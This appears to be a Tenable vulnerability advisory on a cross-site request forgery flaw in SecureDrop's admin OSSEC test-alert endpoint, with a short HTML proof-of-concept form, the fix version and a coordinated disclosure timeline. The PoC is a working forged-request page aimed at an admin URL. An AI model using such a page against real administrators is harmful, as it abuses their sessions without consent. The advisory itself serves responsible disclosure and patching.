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SecureDrop OSSEC Cross-Site Request Forgery

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Synopsis

CSRF allows an unauthenticated attacker to forge application requests via crafted links or forms. An attacker could trick an admin into clicking a link that would then fire off a valid application request to send OSSEC test alert emails to themselves. An unauthenticated attacker can therefore trick an admin into sending such an alert.

Proof of Concept (PoC)

The following will send an OSSEC test alert if clicked on in a browser with an active admin session. Please note that the IP address would have to be changed to target the “victim” SecureDrop application.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://172.26.31.232:8081/admin/ossec-test">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Solution

Upgrade to SecureDrop 1.8.2.

Disclosure Timeline

05/07/2021 - Tenable requests a security contact via the SecureDrop contact form.
05/07/2021 - SecureDrop replies with security contact and PGP key.
05/10/2021 - Tenable sends encrypted report to SecureDrop. 90-day date is August 09, 2021.
05/10/2021 - SecureDrop thanks us. Asks us for our PGP key.
05/12/2021 - Tenable sends PGP key.
05/17/2021 - SecureDrop plans to release a fix May 18. Gives us link to PR to review. They will reach out Thurs to coordinate disclosure.
05/19/2021 - Tenable confirms fix was released. Communicates intent to publish.

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